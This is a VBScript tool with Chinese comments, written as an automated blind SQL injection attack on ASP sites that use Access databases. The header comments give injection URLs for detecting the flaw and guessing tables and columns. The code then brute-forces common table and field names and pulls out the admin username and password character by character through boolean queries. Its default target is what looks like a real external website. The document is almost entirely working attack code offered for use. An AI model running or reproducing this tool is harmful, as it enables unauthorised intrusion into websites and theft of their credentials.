'     SQL注入之脚本篇-FOR ACCESS数据库 by 晴阳(Liuxy)
'==========================================================================
'通过脚本对因过滤字符不严的asp页面进行自动攻击，能自动猜测常用表名，字段名和用户，密码

'经修改也能猜测其他不常见的表名，字段名和用户，密码，不过速度不会很快

'1->.攻击前检测是否存在漏洞。若URL="http://ip/list.asp?id=1"则可构造这样的URL来检测

'<1>http://ip/list.asp?id=1 <2>http://ip/list.asp?id=1 and 1=1 <3>http://ip/list.asp?id=1 and 1=0

'若<1><2>两种情况与<3>返回的正文不一致，则表明一定存在sql注入漏洞~~~恭喜恭喜！

'2->.检测表名 通过提交http://ip/list.asp?id=1 and exists (select * from ptable)来检测是否存在表pTable

'3->.检测字段名 通过提交http://ip/list.asp?id=1 and 0<>(select count(pField) from ptable)

'4->.检测用户和密码    http://ip/list.asp?id=1 and exists (select * from Tablename where user<>'1') 这里的user为常用字段
                      'http://ip/list.asp?id=1 and exists (select * from Tablename where user=puser and len(pwd)>?)
                      'http://ip/list.asp?id=1 and exists (select * from Tablename where user=Username and asc(Mid(pwd,i))>?)

Dim Url,Bodytext,pTable,pField,passTable,passUser,passPass,pUser,pUserLen,pPwd,pPwdLen,pCheck,pnum
Dim CheckLen1,CheckLen2
Dim LenNumOk
Dim ErrorTable
ErrorTable="注入不成功!"
Dim TableFind()
        ReDim Preserve TableFind(0)
        TableFind(0)=""
Dim FieldFind()
        ReDim Preserve FieldFind(0)
        FieldFind(0)=""
Dim Table(3)
        Table(0)="admin"
        Table(1)="user"
        Table(2)="login"
        Table(3)="news"
Dim Field(11)
        Field(0)="name"
        Field(1)="user"
        Field(2)="username"
        Field(3)="pwd"
        Field(4)="pass"
        Field(5)="passwd"
        Field(6)="password"
            Field(7)="id"
        Field(8)="title"
        Field(9)="body"
        Field(10)="topic"
        Field(11)="board"
Function URLEncoding(vstrIn)    'URL编码函数
    strReturn = ""
    For i = 1 To Len(vstrIn)
        ThisChr = Mid(vStrIn,i,1)
        If Abs(Asc(ThisChr)) < &HFF Then
            strReturn = strReturn & ThisChr
        Else
            innerCode = Asc(ThisChr)
            If innerCode < 0 Then
                innerCode = innerCode + &H10000
            End If
            Hight8 = (innerCode And &HFF00)\ &HFF
            Low8 = innerCode And &HFF
            strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
        End If
    Next
    URLEncoding = strReturn
End Function

Function bytes2BSTR(vIn) '用于解决无法正常显示汉字问题
    strReturn = ""
    For i = 1 To LenB(vIn)
        ThisCharCode = AscB(MidB(vIn,i,1))
        If ThisCharCode < &H80 Then
            strReturn = strReturn & Chr(ThisCharCode)
        Else
            NextCharCode = AscB(MidB(vIn,i+1,1))
            strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
            i = i + 1
        End If
    Next
    bytes2BSTR = strReturn
End Function

'增加数组长度
Function AddLength(IDFind,Find)
    LenNum=ubound(IDFind)
    ReDim Preserve IDFind(LenNum+1)
    IDFind(LenNum)=Find
    IDFind(LenNum+1)=""
End Function

'输入待测试的网址
Wscript.Echo Chr(10)&"========Access数据库注入脚本(晴阳/Liuxy)========"
Url=InputBox("请输入可能存在漏洞的网址:"&Chr(10)&Chr(10)&"形如http://Localhost/SQL/index.asp?id=1","","http://www.dttt.com/showdown.asp?id=83")
'Bodytext=InputBox("请输入正常返回的地址:"&Chr(10)&Chr(10)&"这里输入正常返回时的正文"&Chr(10)&Chr(10)&"(取与错误页面中没有的部分)","","SN: z9j8-pum4n-c6gzq Key: rw2-7jw")
Wscript.Echo Chr(10)&"正在检查"&Url&"注入漏洞..."
Url=URLEncoding(Url)
pCheckSQLRes=pCheckSQL(Url)
IF pCheckSQLRes="False" Then
    Wscript.Echo Chr(10)&"========"&Url&"无注入漏洞.退出!========"
   Wscript.Quit
Else
    Wscript.Echo Chr(10)&"========存在漏洞，开始注入!========"
    Call RunInjection()
End IF

'注入部分
Function RunInjection()    
Dim CheckOK
   '依次猜测数组Table()中的表名
Wscript.Echo Chr(10)&"    ┌───开始猜测表名"&Chr(10)&"    │"
    IF pCheckTable(Url,ErrorTable)="True" Then
    Wscript.Echo "    ├───"&ErrorTable&Chr(10)&"    │"
    Wscript.Echo "    └───表名猜测完毕!"&Chr(10)
    Wscript.Echo Chr(10)&"========Access数据库注入脚本(晴阳/Liuxy)========"
    Exit Function
    End IF
   For i=0 to ubound(Table) step 1
   IF pCheckTable(Url,Table(i))="True" Then
    CheckOK="True"
    Call AddLength(TableFind,Table(i))
    Wscript.Echo "    ├───找到表"&Table(i)&Chr(10)&"    │"
    Else CheckOK="False"
    End IF
    IF CheckOK="True" Then
    Wscript.Echo "    │    ├───表"&Table(i)&"字段名"&Chr(10)&"    │"
          For j=0 to ubound(Field) step 1
    IF pCheckField(Url,Table(i),Field(j))="True" Then
    Wscript.Echo "    │         ├───"&Field(j)
    End IF
    Next
    End IF
    Next
    Wscript.Echo "    └───表名猜测完毕!"&Chr(10)
  
For i=0 to ubound(TableFind) step 1
    IF TableFind(i)="admin" Then
        pTableFind="True"
        Exit For
    End IF
Next

IF pTableFind="True"  Then
    Wscript.Echo "========开始查找表中用户密码========"
    '输入需要检测字段长度的表名，字段名
        pLenTable=InputBox("输入用户字段名:","脚本参数-表名","admin")
        pLenUser=InputBox("输入用户字段名:","脚本参数-用户字段名","user")
        pLenPass=InputBox("输入密码字段名:","脚本参数-密码字段名","pwd")

        Call pCheckLen1(Url,pLenTable,pLenUser,1,1,"0","30")
        Wscript.Echo "表"&pLenTable&"字段"&pLenUser&"中存在一个内容长为:"&pCheck
    For i=1 to pCheck Step 1
        Call pCheckLen1(Url,pLenTable,pLenUser,2,CStr(i),"32","127")
        pUser=pUser+Chr(pCheck)
    Wscript.Echo "查找用户"&pUser&"......"
    Next
    Wscript.Echo "表"&pLenTable&"字段"&pLenUser&"中存在一个内容:"&pUser
   
    Wscript.Echo "========开始查找用户"&pUser&"的密码:========"
    Call pCheckLen1(Url,pLenTable,pLenPass,1,1,"0","32")
        Wscript.Echo "表"&pLenTable&"字段"&pLenPass&"中存在一个内容长为:"&pCheck
    For i=1 to pCheck Step 1
        Call pCheckLen1(Url,pLenTable,pLenPass,2,CStr(i),"32","127")
        pPwd=pPwd+Chr(pCheck)
    Wscript.Echo "用户"&pUser&"的密码"&pPwd&"......"
    Next
    Wscript.Echo "表"&pLenTable&"字段"&pLenPass&"中存在一个内容:"&pPwd
   
End IF
    Wscript.Echo Chr(10)&"========Access数据库注入脚本(晴阳/Liuxy)========"
End Function

'主要部分,做入侵检测用的代码  ,构造入侵用Url
'============================================================
Function pPost(pUrl)   
    On Error Resume Next
    Set pRes = CreateObject("Microsoft.XMLHTTP")       
    pRes.open "POST",pUrl,false                        
    pRes.Send                                          
   '获取页面返回信息返回的正文中存在BodyText的话就表示猜测成功
        pRet=bytes2BSTR(pRes.responseBody)
        If instr(pRet, BodyText) > 0 Then
        pPost="True"
        Else
        pPost="False"
        End If 
    Set pRes = Nothing
End Function
'============================================================
Function pRetText(pUrl)
    On Error Resume Next
    Set pRes=CreateObject("Microsoft.XMLHTTP")
    pRes.open "POST",pUrl,False
    pRes.Send
    pRetText=bytes2BSTR(pRes.ResponseBody)
    Set pRes=Nothing
End Function   

'检测是否存在注入漏洞
Function pCheckSQL(pUrl)
    Dim Continuefind,BodyText1,BodyText2
    BodyText1=""
    BodyText2=""
    Dim pCheckSQL1,pCheckSQL2,pCheckSQL3
    pCheckSQL1=pRetText(pUrl)
    pCheckSQL2=pRetText(pUrl+" and 1=1")
    pCheckSQL3=pRetText(pUrl+" and 1=0")
    FOR i=1 to Len(pCheckSQL1) step 1
       IF Mid(pCheckSQL1,i,1)=Mid(pCheckSQL2,i,1) Then
        BodyText1=BodyText1+Mid(pCheckSQL1,i,1)
       Else
        Exit For
       End IF
    Next
    FOR j=1 to Len(pCheckSQL3) step 1
       IF Mid(pCheckSQL3,i,1)=Mid(pCheckSQL2,i,1) Then
        BodyText2=BodyText2+Mid(pCheckSQL3,i,1)
       Else
        Exit For
       End IF
    Next
       
    IF BodyText1<>BodyText2 Then
        pCheckSQL="True"
        BodyText=BodyText1
        'Msgbox "存在注入漏洞!"   
    Else
             pCheckSQL="False"
        'Msgbox "无漏洞,退出!"       
    End IF
End Function
'=============================================================

'检测常用表名
Function pCheckTable(pUrl,pTable)
         CheckTable=pPost(pUrl+" and exists (select * from "+pTable+")")
      IF CheckTable="True" Then
         pCheckTable="True"
      End IF
End Function

'检测常用字段名
Function pCheckField(pUrl,pTable,pField)
             CheckField=pPost(pUrl+" and 0<>(select count("+pField+") from "+pTable+")")
         IF CheckField="True" Then
               pCheckField="True"
         End IF
End Function

Function pCheckLen1(pUrl,pTable,pField,pCheckStyle,pnum,m,n) '用来检测pField的长度和内容
    IF pCheckStyle=1 Then pCheckStr="Len("+pField+")"
    IF pCheckStyle=2 Then pCheckStr="Asc(Mid("+pField+","+pnum+",1))"
   
       
    IF pPost(pUrl+" and exists (select top 1 * from "+pTable+" where "+pCheckStr+"<"+m+" and  "+pCheckStr+">"+n+")")="True" Then
        Wscript.Echo  pField1&"中没有找到内容!"
    End IF
   
    IF pPost(pUrl+" and exists (select top 1 * from "+pTable+" where "+pCheckStr+"="+m+")")="True" Then  pCheck=CInt(m):Exit Function
    IF pPost(pUrl+" and exists (select top 1 * from "+pTable+" where "+pCheckStr+"="+n+")")="True" Then  pCheck=CInt(n):Exit Function
        mn=CStr((CInt(n)+CInt(m))/2)
    IF pPost(pUrl+" and exists (select top 1 * from "+pTable+" where "+pCheckStr+">"+m+" and "+pCheckStr+"<"+mn+")")="True" Then
    'Wscript.Echo pUrl+" and exists (select top 1 * from "+pTable+" where "+pCheckStr+">"+m+" and "+pCheckStr+"<"+mn+")"
        Call pCheckLen1(pUrl,pTable,pField,pCheckStyle,pnum,m,mn)
    Else
        Call pCheckLen1(pUrl,pTable,pField,pCheckStyle,pnum,mn,n)
    End IF
End Function